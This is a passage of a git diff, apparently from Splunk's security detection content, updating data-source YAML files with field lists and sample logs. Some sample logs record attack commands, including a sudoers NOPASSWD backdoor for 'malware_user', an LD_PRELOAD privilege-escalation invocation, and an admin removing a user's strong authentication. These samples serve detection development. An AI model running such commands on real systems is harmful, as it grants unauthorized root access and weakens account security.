event.ParentCommandLine - event.ParentImageFileName + - event.ParentImageFilePath - event.ParentProcessId - event.PatternDispositionDescription - event.PatternDispositionFlags.BlockingUnsupportedOrDisabled - event.PatternDispositionFlags.BootupSafeguardEnabled + - event.PatternDispositionFlags.ContainmentFileSystem - event.PatternDispositionFlags.CriticalProcessDisabled - event.PatternDispositionFlags.Detect - event.PatternDispositionFlags.FsOperationBlocked @@ -89,45 +85,43 @@ fields: - event.PatternDispositionFlags.SuspendProcess - event.PatternDispositionValue - event.PatternId + - event.PlatformId + - event.PlatformName - event.ProcessEndTime - event.ProcessId - event.ProcessStartTime - - event.SHA1String - - event.SHA256String - - event.SensorId + - event.RiskScore + - event.ScheduledSearchExecutionId + - event.ScheduledSearchId + - event.ScheduledSearchUserId + - event.ScheduledSearchUserUUID + - event.SensorIds - event.Severity - event.SeverityName + - event.SHA1String + - event.SHA256Hashes + - event.SHA256String + - event.SourceProducts + - event.SourceVendors + - event.StartTimeEpoch - event.Tactic - event.Tags - event.Technique + - event.Type - event.UserName - - eventtype - - file_hash - - file_name - - file_path + - event.XdrType - host - - id - index - - ip - linecount - metadata.customerIDString - metadata.eventCreationTime - metadata.eventType - metadata.offset - metadata.version - - parent_process - - parent_process_id - - parent_process_name - - process_id - punct - - severity - - severity_id - source - sourcetype - splunk_server - - splunk_server_group - - src - - subject - ta_data.App_id - ta_data.Cloud_environment - ta_data.Event_types @@ -136,13 +130,7 @@ fields: - ta_data.Input - ta_data.Multiple_feeds - ta_data.TA_version - - tag - - tag::action - - tag::eventtype - timestamp - - url - - user - - vendor_product output_fields: - dest - user @@ -150,5 +138,4 @@ output_fields: - file_name - Name example_log: | - {"metadata": {"customerIDString": "3061c7ff3b634e22b38274d4b586558e", "offset": 12570031, "eventType": "DetectionSummaryEvent", "eventCreationTime": 1748883058001, "version": "1.0"}, "event": {"ProcessStartTime": 1748883033, "ProcessEndTime": 1748883033, "ProcessId": 25482595567828, "ParentProcessId": 25482588177316, "ComputerName": "CROWDFAL1", "UserName": "Administrator", "DetectName": "Suspicious Activity", "DetectDescription": "For evaluation only - benign, no action needed.", "Severity": 2, "SeverityName": "Low", "FileName": "choice.exe", "FilePath": "\\Device\\HarddiskVolume2\\Windows\\System32", "CommandLine": "choice /m crowdstrike_sample_detection", "SHA256String": "df8085fb7d979c644a751804ed6bd3b74b26ce682291b5e5ede4c76eca599e7e", "MD5String": "ed5fc58ec99a058ce9b7bb1ee3a96a8e", "SHA1String": "0000000000000000000000000000000000000000", "MachineDomain": "CROWDFAL1", "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/12e75112bdc44ac7a60b5ad1d2765303/10907785292170?_cid=g03000lcf73zmc2nbaploaxbwbj4zvsu", "SensorId": "12e75112bdc44ac7a60b5ad1d2765303", "DetectId": "ldt:12e75112bdc44ac7a60b5ad1d2765303:10907785292170", "LocalIP": "10.1.17.3", "MACAddress": "00-50-56-aa-64-1f", "Tactic": "Malware", "Technique": "Malicious File", "Objective": "Falcon Detection Method", "PatternDispositionDescription": "Detection, standard detection.", "PatternDispositionValue": 0, "PatternDispositionFlags": {"Indicator": false, "Detect": false, "InddetMask": false, "SensorOnly": false, "Rooting": false, "KillProcess": false, "KillSubProcess": false, "QuarantineMachine": false, "QuarantineFile": false, "PolicyDisabled": false, "KillParent": false, "OperationBlocked": false, "ProcessBlocked": false, "RegistryOperationBlocked": false, "CriticalProcessDisabled": false, "BootupSafeguardEnabled": false, "FsOperationBlocked": false, "HandleOperationDowngraded": false, "KillActionFailed": false, "BlockingUnsupportedOrDisabled": false, "SuspendProcess": false, "SuspendParent": false}, "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\cmd.exe", "ParentCommandLine": "C:\\Windows\\SYSTEM32\\cmd.exe /c \"\"C:\\CS_Script.bat\"\"", "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\svchost.exe", "GrandparentCommandLine": "C:\\Windows\\system32\\svchost.exe -k netsvcs", "HostGroups": "0ebde3fe33d547fc9bbe24f50be44da8,fd63f5073f644377a8150e9c1e5a86d0", "PatternId": 10197}, "ta_data": {"Feed_id": "0", "Multiple_feeds": "False", "Cloud_environment": "us_commercial", "TA_version": "3.5.0", "Input": "crwd_events", "App_id": "s2_pl", "Event_types": "['All']", "Initial_start": "historic"}} - + {"metadata": {"customerIDString": "3061c7ff3b634e22b38274d4b586558e", "offset": 15832103, "eventType": "XdrDetectionSummaryEvent", "eventCreationTime": 1769785678000, "version": "1.0"}, "event": {"Name": "Incident rule", "Description": "Making incidents", "PatternId": 100010, "StartTimeEpoch": 1769702707146, "EndTimeEpoch": 1769785616007, "Severity": 30, "SourceProducts": "Falcon", "SourceVendors": "CrowdStrike", "DataDomains": "Endpoint", "Author": "CorrelationRule", "XdrType": "xdr-scheduled-search", "ScheduledSearchId": "bb1f2a9e0fd34c2794f4e84ae6bf904f", "ScheduledSearchExecutionId": "2463f62488fe4d3a953507f83514eaca", "ScheduledSearchUserUUID": "c59a4ab7-e679-4c9c-ab20-05730ba369e0", "ScheduledSearchUserId": "phantomlab@splunk.com", "IPv4Addresses": "10.1.17.4", "HostNames": "CROWDFAL2", "SHA256Hashes": "df8085fb7d979c644a751804ed6bd3b74b26ce682291b5e5ede4c76eca599e7e", "MD5Hashes": "ed5fc58ec99a058ce9b7bb1ee3a96a8e", "SensorIds": "9a58cd4397bb4a2abadf0189e36ab0e7", "CompositeId": "3061c7ff3b634e22b38274d4b586558e:ind:3061c7ff3b634e22b38274d4b586558e:xdr|2463f62488fe4d3a953507f83514eaca-ffb6e76c9f2e42b4a8c1b997091b90e0"}, "ta_data": {"Feed_id": "0", "Multiple_feeds": "False", "Cloud_environment": "us_commercial", "TA_version": "3.6.5", "Input": "crwd_events", "App_id": "s2_pl", "Event_types": "['All']", "Initial_start": "historic"}} diff --git a/data_sources/g_suite_gmail.yml b/data_sources/g_suite_gmail.yml index 2c599a4533..fe8a942041 100644 --- a/data_sources/g_suite_gmail.yml +++ b/data_sources/g_suite_gmail.yml @@ -1,8 +1,8 @@ name: G Suite Gmail id: 706c3978-41de-406b-b6e0-75bd01e12a5d -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs Gmail activities in G Suite, including email sending, receiving, and access details, as well as potential security-related events. mitre_components: @@ -22,8 +22,6 @@ fields: - attachment{}.file_extension_type - attachment{}.malware_family - attachment{}.sha256 - - connection_info.authenticated_domain{}.name - - connection_info.authenticated_domain{}.type - connection_info.client_host_zone - connection_info.client_ip - connection_info.dkim_pass @@ -87,4 +85,5 @@ fields: - tag::eventtype - timestamp - upload_error_category -example_log: '{"action_type": 10, "rfc2822_message_id": "", "subject": "New Order DHL0000001 - Dummy email for Detection Development", "payload_size": 6733, "source": {"address": "john@external_test_email.com", "service": "gmail-for-work", "selector": "policy", "from_header_address": "john@external_test_email.com", "from_header_displayname": "john smith"}, "destination": [{"address": "peter@internal_test_email.com", "service": "smtp-outbound", "selector": "gmail-for-work", "smime_signature_verification_success": null, "smime_decryption_success": null, "smime_parsing_success": null, "smime_extraction_success": null, "rcpt_response": null}], "flattened_destinations": "smtp-outbound:gmail-for-work:peter@internal_test_email.com", "description": "", "connection_info": {"client_ip": "null", "smtp_in_connect_ip": null, "smtp_out_connect_ip": "null", "failed_smtp_out_connect_ip": [], "smtp_tls_state": 1, "smtp_reply_code": 250, "tls_required_but_unavailable": false, "smtp_out_remote_host": "internal_test_app.com", "smtp_user_agent_ip": "null", "is_intra_domain": false, "dmarc_pass": null, "dmarc_published_domain": null, "client_host_zone": null, "smtp_response_reason": null, "ip_geo_city": null, "ip_geo_country": null, "authenticated_domain": [{"name": "internal_test_email.com", "type": 2}, {"name": "internal_test_email.com", "type": 6}, {"name": "internal_test_email.com", "type": 1}], "is_internal": false, "dkim_pass": true, "spf_pass": true, "smtp_tls_version": "TLSv9.9", "smtp_tls_cipher": "TLS_AES"}, "is_spam": null, "is_policy_check_for_sender": false, "num_message_attachments": 1, "message_set": [{"type": 57}, {"type": 9}, {"type": 22}, {"type": 15}, {"type": 48}, {"type": 27}, {"type": 10}, {"type": 50}, {"type": 51}, {"type": 46}, {"type": 61}, {"type": 44}], "smtp_relay_error": null, "upload_error_category": null, "structured_policy_log_info": null, "triggered_rule_info": [], "flattened_triggered_rule_info": null, "smime_sign_message": null, "smime_encrypt_message": null, "smime_packaging_success": null, "smime_extraction_success": null, "smime_content_type": null, "link_domain": [], "attachment": [{"sha256": "1111111111111111111111111111111111111111111111111111111111111111", "file_extension_type": "zip", "malware_family": null}], "spam_info": null, "timestamp": 1629378633.802384}' +example_log: | + {"action_type": 2, "rfc2822_message_id": "", "subject": "test email dev", "payload_size": 43826, "source": {"address": "juan@internal_test_email.com", "service": "gmail-ui", "selector": "send", "from_header_address": "juan@internal_test_email.com", "from_header_displayname": "Events Test2"}, "destination": [{"address": "pepe@external_test_email.com", "service": "smtp-outbound", "selector": "gmail-for-work", "smime_signature_verification_success": null, "smime_decryption_success": null, "smime_parsing_success": null, "smime_extraction_success": null, "rcpt_response": null}], "flattened_destinations": "smtp-outbound:gmail-for-work:pepe@external_test_email.com", "description": null, "connection_info": {"client_ip": "null", "smtp_in_connect_ip": null, "smtp_out_connect_ip": null, "failed_smtp_out_connect_ip": [], "smtp_tls_state": null, "smtp_reply_code": 0, "tls_required_but_unavailable": null, "smtp_out_remote_host": null, "smtp_user_agent_ip": null, "is_intra_domain": true, "dmarc_pass": null, "dmarc_published_domain": null, "client_host_zone": null, "smtp_response_reason": null, "ip_geo_city": null, "ip_geo_country": null, "authenticated_domain": [], "is_internal": true, "dkim_pass": false, "spf_pass": false, "smtp_tls_version": null, "smtp_tls_cipher": null}, "is_spam": null, "is_policy_check_for_sender": true, "num_message_attachments": 1, "message_set": [{"type": 8}, {"type": 27}, {"type": 15}, {"type": 10}, {"type": 44}], "smtp_relay_error": null, "upload_error_category": null, "structured_policy_log_info": null, "triggered_rule_info": [], "flattened_triggered_rule_info": null, "smime_sign_message": null, "smime_encrypt_message": null, "smime_packaging_success": null, "smime_extraction_success": null, "smime_content_type": 0, "link_domain": [], "attachment": [{"sha256": "1111111111111111111111111111111111111111111111111111111111111111", "file_extension_type": "doc", "malware_family": null}], "spam_info": null, "timestamp": 1629290144.338942} diff --git a/data_sources/google_workspace.yml b/data_sources/google_workspace.yml index 8459c1a0de..c16182671c 100644 --- a/data_sources/google_workspace.yml +++ b/data_sources/google_workspace.yml @@ -1,8 +1,8 @@ name: Google Workspace id: f1a044e3-113a-4e4d-84f2-b153ade83087 -version: 2 +version: 3 creation_date: '2024-07-16' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Google Workspace source: google_workspace @@ -12,13 +12,9 @@ supported_TA: url: https://splunkbase.splunk.com/app/5556 version: 5.0.1 fields: - - action - - actor.callerType + - _time - actor.email - actor.profileId - - app - - change_type - - command - date_hour - date_mday - date_minute @@ -27,75 +23,27 @@ fields: - date_wday - date_year - date_zone - - dest - - dest_name - - dest_url - - dvc - - email - etag - event.name + - event.parameters{}.boolValue + - event.parameters{}.multiValue{} - event.parameters{}.name - event.parameters{}.value - event.type - - eventtype - - filter_action - host - id.applicationName - id.customerId - id.time - id.uniqueQualifier - index - - internal_message_id - ipAddress - kind - linecount - - message_id - - object - - object_attrs - - object_category - - object_id - - object_path - - owner - - owner_email - - protocol - punct - - result - - result_id - - signature_extra - source - sourcetype - splunk_server - - splunk_server_group - - src - - src_user - - src_user_id - - src_user_name - - src_user_type - - status - - tag - - tag::action - - tag::app - - tag::eventtype - - tag::object_category - - tenant_id - timeendpos - timestartpos - - user - - user_email - - user_email_extracted - - user_id - - user_name - - user_type - - vendor_account - - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _subsecond - - _time -example_log: '"kind": "admin#reports#activity", "id": {"time": "2022-10-12T18:00:23.093Z", "uniqueQualifier": "-7844406841853338111", "applicationName": "admin", "customerId": "C046r85ir"}, "etag": "\"JCPRxFaiNR1s5TJ6ecIH8OpGdY4efiOYXbIB65itOzY/afZBU3WDeiuPqFyleWyTnwyU3fE\"", "actor": {"callerType": "USER", "email": "evil_admin@splunkresearch.com", "profileId": "100059258581444193973"}, "ipAddress": "22.33.111.55", "event": {"type": "USER_SETTINGS", "name": "UNENROLL_USER_FROM_STRONG_AUTH", "parameters": [{"name": "USER_EMAIL", "value": "victim_user@splunkresearch.com"}]}}' +example_log: | + {"kind": "admin#reports#activity", "id": {"time": "2022-10-13T20:57:35.833Z", "uniqueQualifier": "437744618349", "applicationName": "login", "customerId": "C046r85ir"}, "etag": "\"JCPRxFaiNR1s5TJ6ecIH8OpGdY4efiOYXbIB65itOzY/OgAbD-Tz8hSD1vUJWw7NLiJ5SF4\"", "actor": {"email": "user1@splunkresearch.com", "profileId": "112184723778873345717"}, "ipAddress": "45.23.129.123", "event": {"type": "login", "name": "login_success", "parameters": [{"name": "login_type", "value": "google_password"}, {"name": "login_challenge_method", "multiValue": ["password", "password", "password", "password", "password"]}, {"name": "is_suspicious", "boolValue": false}]}} diff --git a/data_sources/linux_auditd_add_user.yml b/data_sources/linux_auditd_add_user.yml index e65107d021..d8fb174412 100644 --- a/data_sources/linux_auditd_add_user.yml +++ b/data_sources/linux_auditd_add_user.yml @@ -1,8 +1,8 @@ name: Linux Auditd Add User id: 30f79353-e1d2-4585-8735-1e0359559f3f -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs activities related to the addition of a new user account on a Linux system, including details about the username, UID, and the process initiating the action. mitre_components: @@ -20,22 +20,44 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: + - _time + - addr + - AUID + - auid + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - exe + - host + - hostname + - ID + - id + - index + - linecount - msg - - type + - op - pid - - uid - - auid + - punct + - res - ses + - source + - sourcetype + - splunk_server - subj - - msg - - op - - id - - exe - - hostname - - addr + - tag + - tag::eventtype - terminal - - res + - timeendpos + - timestartpos + - type - UID - - AUID - - ID -example_log: 'type=ADD_USER msg=audit(1722950859.266:6994): pid=1788 uid=0 auid=1000 ses=1 subj=unconfined msg=''op=adding user id=1002 exe="/usr/sbin/useradd" hostname=ar-linux1 addr=? terminal=pts/1 res=success''UID="root" AUID="ubuntu" ID="unknown(1002)"' + - uid +example_log: | + type=ADD_USER msg=audit(1722950859.266:6994): pid=1788 uid=0 auid=1000 ses=1 subj=unconfined msg='op=adding user id=1002 exe="/usr/sbin/useradd" hostname=ar-linux1 addr=? terminal=pts/1 res=success' + UID="root" AUID="ubuntu" ID="unknown(1002)" diff --git a/data_sources/linux_auditd_cwd.yml b/data_sources/linux_auditd_cwd.yml index 3ef7f828d7..22e70bc240 100644 --- a/data_sources/linux_auditd_cwd.yml +++ b/data_sources/linux_auditd_cwd.yml @@ -1,8 +1,8 @@ name: Linux Auditd Cwd id: a9ef851b-d864-478b-b1b3-76535d7ff7fc -version: 2 +version: 3 creation_date: '2025-12-02' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Nasreddine Bencherchali, Splunk description: This type is used to record the working directory from which the process that invoked the system call specified in the first record was executed. The purpose of this record is to record the current process's location in case a relative path winds up being captured in the associated PATH record. This way the absolute path can be reconstructed. source: auditd @@ -15,12 +15,29 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: + - _time - cwd - date_hour - date_mday - date_minute - date_month - date_second + - date_wday + - date_year + - date_zone + - eventtype + - host + - index + - linecount - msg + - punct + - source + - sourcetype + - splunk_server + - tag + - tag::eventtype + - timeendpos + - timestartpos - type -example_log: 'type=CWD msg=audit(11/20/2025 16:57:48.909:110027) : cwd=/etc/ssh' +example_log: | + type=CWD msg=audit(11/24/2025 14:48:16.990:118) : cwd=/ diff --git a/data_sources/linux_auditd_daemon_abort.yml b/data_sources/linux_auditd_daemon_abort.yml index 5446dd0ae7..d866d06196 100644 --- a/data_sources/linux_auditd_daemon_abort.yml +++ b/data_sources/linux_auditd_daemon_abort.yml @@ -1,8 +1,8 @@ name: Linux Auditd Daemon Abort id: cc8b3bb0-0fae-4236-9c61-fe2d7138bd63 -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs the execution of processes on a Linux system, including details about the auditd daemon status. mitre_components: @@ -21,10 +21,35 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - type + - _time + - auid + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - host + - index + - linecount + - msg - op - - res - pid + - punct + - res + - ses + - source + - sourcetype + - splunk_server + - subj + - tag + - tag::eventtype + - timeendpos + - timestartpos + - type - uid output_fields: - op @@ -32,4 +57,5 @@ output_fields: - pid - uid - dest -example_log: 'type=DAEMON_ABORT msg=audit(06/05/2025 11:03:38.453:6845) : op=set-pid auid=unset pid=61314 uid=root ses=unset subj=unconfined res=failed' +example_log: | + type=DAEMON_ABORT msg=audit(06/05/2025 11:03:38.950:6845) : op=set-pid auid=unset pid=61323 uid=root ses=unset subj=unconfined res=failed diff --git a/data_sources/linux_auditd_daemon_end.yml b/data_sources/linux_auditd_daemon_end.yml index 6d4a8b2374..6434f26e27 100644 --- a/data_sources/linux_auditd_daemon_end.yml +++ b/data_sources/linux_auditd_daemon_end.yml @@ -1,8 +1,8 @@ name: Linux Auditd Daemon End id: 15135c45-e302-4d5a-a38a-3e8279f2ebd8 -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs the execution of processes on a Linux system, including details about the auditd daemon status. mitre_components: @@ -21,15 +21,39 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - type - - op - - res + - _time - auid + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - host + - index + - linecount + - msg + - op - pid + - punct + - res + - source + - sourcetype + - splunk_server + - subj + - tag + - tag::eventtype + - timeendpos + - timestartpos + - type output_fields: - op - res - pid - uid - dest -example_log: 'type=DAEMON_END msg=audit(06/05/2025 11:01:46.838:9436) : op=terminate auid=root pid=1 subj=unconfined res=success' +example_log: | + type=DAEMON_END msg=audit(06/05/2025 11:01:46.838:9436) : op=terminate auid=root pid=1 subj=unconfined res=success diff --git a/data_sources/linux_auditd_daemon_start.yml b/data_sources/linux_auditd_daemon_start.yml index c22e10f484..72b06b1855 100644 --- a/data_sources/linux_auditd_daemon_start.yml +++ b/data_sources/linux_auditd_daemon_start.yml @@ -1,8 +1,8 @@ name: Linux Auditd Daemon Start id: f1b97407-ddf0-41a5-8685-ada05aae3555 -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs the execution of processes on a Linux system, including details about the auditd daemon status. mitre_components: @@ -21,15 +21,44 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - type - - op - - res + - _time - auid + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - format + - host + - index + - kernel + - linecount + - msg + - op - pid + - punct + - res + - ses + - source + - sourcetype + - splunk_server + - subj + - tag + - tag::eventtype + - timeendpos + - timestartpos + - type + - uid + - ver output_fields: - op - res - pid - uid - dest -example_log: 'type=DAEMON_START msg=audit(06/05/2025 11:03:38.949:6844) : op=start ver=3.0.7 format=enriched kernel=6.8.0-1029-aws auid=unset pid=61323 uid=root ses=unset subj=unconfined res=success' +example_log: | + type=DAEMON_START msg=audit(06/05/2025 11:03:38.949:6844) : op=start ver=3.0.7 format=enriched kernel=6.8.0-1029-aws auid=unset pid=61323 uid=root ses=unset subj=unconfined res=success diff --git a/data_sources/linux_auditd_execve.yml b/data_sources/linux_auditd_execve.yml index ca072eadbb..a4dfed271d 100644 --- a/data_sources/linux_auditd_execve.yml +++ b/data_sources/linux_auditd_execve.yml @@ -1,8 +1,8 @@ name: Linux Auditd Execve id: 9ef6364d-cc67-480e-8448-3306829a6a24 -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs the execution of processes on a Linux system, including details about the executed command, arguments, and the initiating process. mitre_components: @@ -21,8 +21,33 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: + - _time + - a0 + - a1 + - a2 + - argc + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - execve_command + - host + - index + - linecount - msg + - punct + - source + - sourcetype + - splunk_server + - tag + - tag::eventtype + - timeendpos + - timestartpos - type - - msg - - argc -example_log: 'type=EXECVE msg=audit(1723044684.257:15795): argc=3 a0="sudo" a1="LD_PRELOAD=./myfopen.so" a2="./prog"' +example_log: | + type=EXECVE msg=audit(02/20/2025 11:02:58.146:94942): argc=2 a0=touch a1=./.hide_this_data.txt diff --git a/data_sources/linux_auditd_path.yml b/data_sources/linux_auditd_path.yml index 2fb58ab7ac..4e6010d10c 100644 --- a/data_sources/linux_auditd_path.yml +++ b/data_sources/linux_auditd_path.yml @@ -1,8 +1,8 @@ name: Linux Auditd Path id: 3d86125c-0496-4a5a-aae3-0d355a4f3d7d -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs file system access events on a Linux system, including details about file paths, permissions, and associated processes. mitre_components: @@ -21,22 +21,42 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - msg - - type - - item - - name - - inode + - _time + - cap_fe + - cap_fi + - cap_fp + - cap_frootid + - cap_fver + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone - dev + - eventtype + - host + - index + - inode + - item + - linecount - mode - - ouid + - msg + - name + - nametype - ogid + - ouid + - punct - rdev - - nametype - - cap_fp - - cap_fi - - cap_fe - - cap_fver - - cap_frootid - - OUID - - OGID -example_log: 'type=PATH msg=audit(1723043687.149:14898): item=1 name="/etc/ssh/ssh_config~" inode=1292 dev=103:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=DELETE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 OUID="root" OGID="root"' + - source + - sourcetype + - splunk_server + - tag + - tag::eventtype + - timeendpos + - timestartpos + - type +example_log: | + type=PATH msg=audit(11/24/2025 14:48:16.990:118) : item=0 name=/etc/sudoers.d inode=1007 dev=103:01 mode=dir,750 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0 diff --git a/data_sources/linux_auditd_proctitle.yml b/data_sources/linux_auditd_proctitle.yml index a344eab275..e1319484f1 100644 --- a/data_sources/linux_auditd_proctitle.yml +++ b/data_sources/linux_auditd_proctitle.yml @@ -1,8 +1,8 @@ name: Linux Auditd Proctitle id: 5a25984a-2789-400a-858b-d75c923e06b1 -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs the full command-line arguments of a process execution on a Linux system, providing visibility into the executed command and its parameters. mitre_components: @@ -20,7 +20,32 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - proctitle + - _time + - ALL + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype + - host + - if + - index + - linecount - msg + - of + - proctitle + - punct + - source + - sourcetype + - splunk_server + - tag + - tag::eventtype + - timeendpos + - timestartpos - type -example_log: 'type=PROCTITLE msg=audit(1722944427.844:4146): proctitle=63686D6F640037373700312E7368' +example_log: | + type=PROCTITLE msg=audit(02/20/2025 10:42:55.725:93710): proctitle=echo malware_user ALL=(ALL) NOPASSWD: ALL diff --git a/data_sources/linux_auditd_service_stop.yml b/data_sources/linux_auditd_service_stop.yml index 124257f391..5c18ea7a91 100644 --- a/data_sources/linux_auditd_service_stop.yml +++ b/data_sources/linux_auditd_service_stop.yml @@ -1,8 +1,8 @@ name: Linux Auditd Service Stop id: 0643483c-bc62-455c-8d6e-1630e5f0e00d -version: 3 +version: 4 creation_date: '2024-08-08' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Logs events related to the stoppage of a service on a Linux system, including details about the service name, the process initiating the stop, and associated timestamps. mitre_components: @@ -20,20 +20,43 @@ supported_TA: url: https://splunkbase.splunk.com/app/833 version: 10.3.4 fields: - - msg - - type - - pid - - uid + - _time + - addr + - AUID - auid - - ses - - subj - - msg - comm + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - eventtype - exe + - host - hostname - - addr - - terminal + - index + - linecount + - msg + - pid + - punct - res + - ses + - source + - sourcetype + - splunk_server + - subj + - tag + - tag::eventtype + - terminal + - timeendpos + - timestartpos + - type - UID - - AUID -example_log: 'type=SERVICE_STOP msg=audit(1722957155.494:4802): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg=''unit=atd comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success''UID="root" AUID="unset"' + - uid + - unit +example_log: | + type=SERVICE_STOP msg=audit(1722965483.442:15704): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='unit=firewalld comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' + UID="root" AUID="unset" diff --git a/data_sources/linux_secure.yml b/data_sources/linux_secure.yml index 5c10d18458..1705d20c30 100644 --- a/data_sources/linux_secure.yml +++ b/data_sources/linux_secure.yml @@ -1,8 +1,8 @@ name: Linux Secure id: 9a47d88b-1b17-49ce-a0ef-b440ddbd98bb -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs authentication and authorization events on a Linux system, including login attempts, SSH connections, and privilege escalation activities. mitre_components: @@ -30,18 +30,23 @@ fields: - date_year - date_zone - dest + - dest_dns - dvc - eventtype - host - index - linecount + - name - pid - process - punct + - reason + - signature - source - sourcetype - splunk_server - src + - src_ip - src_port - sshd_protocol - tag @@ -49,8 +54,10 @@ fields: - tag::eventtype - timeendpos - timestartpos + - uid - user - user_name - vendor_action - vendor_product -example_log: 'May 27 09:28:36 ip-172-31-24-46 sshd[5617]: Accepted password for mikael from 84.202.159.161 port 63487 ssh2' +example_log: | + May 27 09:28:36 ip-172-31-24-46 sshd[5617]: Accepted password for mikael from 84.202.159.161 port 63487 ssh2 diff --git a/data_sources/m365_copilot_graph_api.yml b/data_sources/m365_copilot_graph_api.yml index ab7410db47..90f153787c 100644 --- a/data_sources/m365_copilot_graph_api.yml +++ b/data_sources/m365_copilot_graph_api.yml @@ -1,8 +1,8 @@ name: M365 Copilot Graph API id: 30dd2202-869c-47fb-ad37-4f4d4c93c6b7 -version: 2 +version: 3 creation_date: '2025-10-13' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Rod Soto, Splunk description: Access Logs from M365 Copilot access via Graph API source: AuditLogs.SignIns @@ -12,6 +12,7 @@ supported_TA: url: https://splunkbase.splunk.com/app/4055 version: 6.1.1 fields: + - _time - appDisplayName - appId - clientAppUsed @@ -34,11 +35,20 @@ fields: - deviceDetail.operatingSystem - deviceDetail.trustType - eventtype + - Exchange Mailbox Storage Used (Byte) + - Exchange Mailbox Total Item Count + - Exchange Received Email Count + - External Member Count + - Group Display Name + - Group Id + - Group Type - host - id - index - ipAddress + - Is Deleted - isInteractive + - Last Activity Date - linecount - location.city - location.countryOrRegion @@ -46,23 +56,37 @@ fields: - location.geoCoordinates.latitude - location.geoCoordinates.longitude - location.state + - Member Count + - Owner Principal Name - punct + - Report Period + - Report Refresh Date - resourceDisplayName - resourceId - riskDetail - riskLevelAggregated - riskLevelDuringSignIn - riskState + - SharePoint Active File Count + - SharePoint Site Storage Used (Byte) + - SharePoint Total File Count - source - sourcetype - splunk_server - status.additionalDetails - status.errorCode - status.failureReason + - tag + - tag::eventtype - timeendpos + - timestamp - timestartpos - userDisplayName - userId - userPrincipalName + - Yammer Liked Message Count + - Yammer Posted Message Count + - Yammer Read Message Count output_fields: [] -example_log: '{"id": "7fbc0a97-7f78-4cc8-9377-dc94d2ad1e00", "createdDateTime": "2025-09-30T12:34:20Z", "userDisplayName": "Rod Soto", "userPrincipalName": "rodsoto@rodsoto.onmicrosoft.com", "userId": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "appId": "9199bf20-a13f-4107-85dc-02114787ef48", "appDisplayName": "One Outlook Web", "ipAddress": "127.0.0.1", "clientAppUsed": "Browser", "correlationId": "8fe7aa9b-42c8-b52e-c6f2-8e4dfc07996b", "conditionalAccessStatus": "notApplied", "isInteractive": true, "riskDetail": "none", "riskLevelAggregated": "none", "riskLevelDuringSignIn": "none", "riskState": "none", "riskEventTypes": [], "riskEventTypes_v2": [], "resourceDisplayName": "Office 365 Exchange Online", "resourceId": "00000002-0000-0ff1-ce00-000000000000", "status": {"errorCode": 0, "failureReason": "Other.", "additionalDetails": "MFA requirement satisfied by claim in the token"}, "deviceDetail": {"deviceId": "", "displayName": "", "operatingSystem": "MacOs", "browser": "Chrome 140.0.0", "isCompliant": false, 